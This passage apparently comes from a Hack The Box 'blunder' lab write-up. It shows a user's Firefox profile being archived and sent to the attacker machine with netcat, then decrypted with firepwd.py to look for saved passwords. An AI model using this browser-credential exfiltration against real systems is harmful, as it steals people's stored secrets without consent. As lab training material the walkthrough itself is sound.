Firefox
hugo@blunder:~$ ll
total 80
drwxr-xr-x 16 hugo hugo 4096 May 26 2020 ./
drwxr-xr-x 4 root root 4096 Apr 27 2020 ../
lrwxrwxrwx 1 root root 9 Apr 28 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hugo hugo 220 Nov 28 2019 .bash_logout
-rw-r--r-- 1 hugo hugo 3771 Nov 28 2019 .bashrc
drwx------ 13 hugo hugo 4096 Apr 27 2020 .cache/
drwx------ 11 hugo hugo 4096 Nov 28 2019 .config/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Desktop/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Documents/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Downloads/
drwx------ 3 hugo hugo 4096 Apr 27 2020 .gnupg/
drwxrwxr-x 3 hugo hugo 4096 Nov 28 2019 .local/
drwx------ 5 hugo hugo 4096 Apr 27 2020 .mozilla/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Music/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Pictures/
-rw-r--r-- 1 hugo hugo 807 Nov 28 2019 .profile
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Public/
drwx------ 2 hugo hugo 4096 Apr 27 2020 .ssh/
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Templates/
-r-------- 1 hugo hugo 33 sep 18 05:34 user.txt
drwxr-xr-x 2 hugo hugo 4096 Nov 28 2019 Videos/
After making a lateral movement, I found out that the hugo
user has the .mozilla
directory present in the home directory
hugo@blunder:~$ ll .mozilla/
total 20
drwx------ 5 hugo hugo 4096 Apr 27 2020 ./
drwxr-xr-x 16 hugo hugo 4096 May 26 2020 ../
drwx------ 2 hugo hugo 4096 Apr 27 2020 extensions/
drwx------ 6 hugo hugo 4096 Apr 27 2020 firefox/
drwx------ 2 hugo hugo 4096 Apr 27 2020 systemextensionsdev/
hugo@blunder:~$ ll .mozilla/firefox
total 32
drwx------ 6 hugo hugo 4096 Apr 27 2020 ./
drwx------ 5 hugo hugo 4096 Apr 27 2020 ../
drwx------ 2 hugo hugo 4096 Apr 27 2020 1z12g2ez.default/
drwx------ 12 hugo hugo 4096 Jul 5 2021 2wqko0wa.default-release/
drwx------ 3 hugo hugo 4096 May 19 2020 'Crash Reports'/
-rw-r--r-- 1 hugo hugo 62 Apr 27 2020 installs.ini
drwx------ 2 hugo hugo 4096 Apr 27 2020 'Pending Pings'/
-rw-r--r-- 1 hugo hugo 259 Apr 27 2020 profiles.ini
hugo@blunder:~$ ll .mozilla/firefox/2wqko0wa.default-release/
total 7840
drwx------ 12 hugo hugo 4096 Jul 5 2021 ./
drwx------ 6 hugo hugo 4096 Apr 27 2020 ../
-rw------- 1 hugo hugo 1989 Jul 5 2021 addons.json
-rw------- 1 hugo hugo 2879 Jul 5 2021 addonStartup.json.lz4
-rw-r--r-- 1 hugo hugo 0 Jul 5 2021 AlternateServices.txt
drwx------ 2 hugo hugo 4096 May 19 2020 bookmarkbackups/
-rw------- 1 hugo hugo 216 Jul 5 2021 broadcast-listeners.json
-rw------- 1 hugo hugo 229376 Jul 5 2021 cert9.db
-rw------- 1 hugo hugo 162 May 19 2020 compatibility.ini
-rw------- 1 hugo hugo 939 Apr 27 2020 containers.json
-rw-r--r-- 1 hugo hugo 229376 Apr 27 2020 content-prefs.sqlite
-rw-r--r-- 1 hugo hugo 524288 Jul 5 2021 cookies.sqlite
drwx------ 3 hugo hugo 4096 Jul 5 2021 crashes/
drwx------ 3 hugo hugo 4096 Jul 5 2021 datareporting/
-rw------- 1 hugo hugo 1206 Apr 27 2020 extension-preferences.json
drwx------ 2 hugo hugo 4096 Apr 27 2020 extensions/
-rw------- 1 hugo hugo 48044 Jul 5 2021 extensions.json
-rw-r--r-- 1 hugo hugo 5242880 Jul 5 2021 favicons.sqlite
-rw-r--r-- 1 hugo hugo 196608 Jul 5 2021 formhistory.sqlite
drwxr-xr-x 3 hugo hugo 4096 Apr 27 2020 gmp-gmpopenh264/
-rw------- 1 hugo hugo 545 Apr 27 2020 handlers.json
-rw------- 1 hugo hugo 294912 Apr 27 2020 key4.db
drwx------ 2 hugo hugo 4096 Apr 27 2020 minidumps/
-rw-r--r-- 1 hugo hugo 0 Jul 5 2021 .parentlock
-rw-r--r-- 1 hugo hugo 98304 Jul 5 2021 permissions.sqlite
-rw------- 1 hugo hugo 476 Apr 27 2020 pkcs11.txt
-rw-r--r-- 1 hugo hugo 5242880 Jul 5 2021 places.sqlite
-rw------- 1 hugo hugo 9878 Jul 5 2021 prefs.js
-rw-r--r-- 1 hugo hugo 65536 Jul 5 2021 protections.sqlite
drwx------ 2 hugo hugo 4096 Jul 5 2021 saved-telemetry-pings/
-rw------- 1 hugo hugo 9981 Jul 5 2021 search.json.mozlz4
-rw-r--r-- 1 hugo hugo 0 Jul 5 2021 SecurityPreloadState.txt
drwxr-xr-x 2 hugo hugo 4096 Apr 27 2020 security_state/
-rw-r--r-- 1 hugo hugo 161 May 19 2020 serviceworker.txt
-rw------- 1 hugo hugo 288 Jul 5 2021 sessionCheckpoints.json
drwx------ 2 hugo hugo 4096 Jul 5 2021 sessionstore-backups/
-rw------- 1 hugo hugo 4648 Jul 5 2021 sessionstore.jsonlz4
-rw------- 1 hugo hugo 18 Apr 27 2020 shield-preference-experiments.json
-rw------- 1 hugo hugo 84 Apr 29 2020 shield-recipe-client.json
-rw-r--r-- 1 hugo hugo 2560 Jul 5 2021 SiteSecurityServiceState.txt
drwxr-xr-x 5 hugo hugo 4096 Apr 27 2020 storage/
-rw-r--r-- 1 hugo hugo 4096 Jul 5 2021 storage.sqlite
-rw------- 1 hugo hugo 50 Apr 27 2020 times.json
-rw-r--r-- 1 hugo hugo 0 Jul 5 2021 TRRBlacklist.txt
-rw-r--r-- 1 hugo hugo 163840 Jul 5 2021 webappsstore.sqlite
-rw------- 1 hugo hugo 140 Jul 5 2021 xulstore.json
The user has a Firefox profile; 2wqko0wa.default-release
If the user has ever authenticated, I will be able to extract the credentials
hugo@blunder:~$ tar -czf firefox.tar.gz .mozilla/firefox/2wqko0wa.default-release/
hugo@blunder:~$ nc 10.10.14.17 2222 < firefox.tar.gz
┌──(kali㉿kali)-[~/…/labs/blunder/firepwd/hugo]
└─$ nnc 2222 > firefox.tar.gz
listening on [any] 2222 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.191] 55892
┌──(kali㉿kali)-[~/…/labs/blunder/firepwd/hugo]
└─$ tar -xf firefox.tar.gz
Transfer complete
firepwd.py
┌──(kali㉿kali)-[~/…/htb/labs/blunder/firepwd]
└─$ python3 firepwd.py -d hugo/.mozilla/firefox/2wqko0wa.default-release
globalSalt: b'86f17cfde971ec91d6b1da3f94e25528349b1f85'
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
SEQUENCE {
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
SEQUENCE {
OCTETSTRING b'ec0ad08e0cd81a78fa1608b6021f56fc16d5df15e627eaed832d2eff86850f1f'
INTEGER b'01'
INTEGER b'20'
SEQUENCE {
OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
}
}
}
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'8a571cec61089ebbe814b8d29091'
}
}
}
OCTETSTRING b'6566b0ae4c61b75da02849b16578b612'
}
clearText b'70617373776f72642d636865636b0202'
password check? True
no saved login/password
firepwd.py was able to decrypt the encrypted string, but the result doesn’t appear to be “CLEARTEXT”; 70617373776f72642d636865636b0202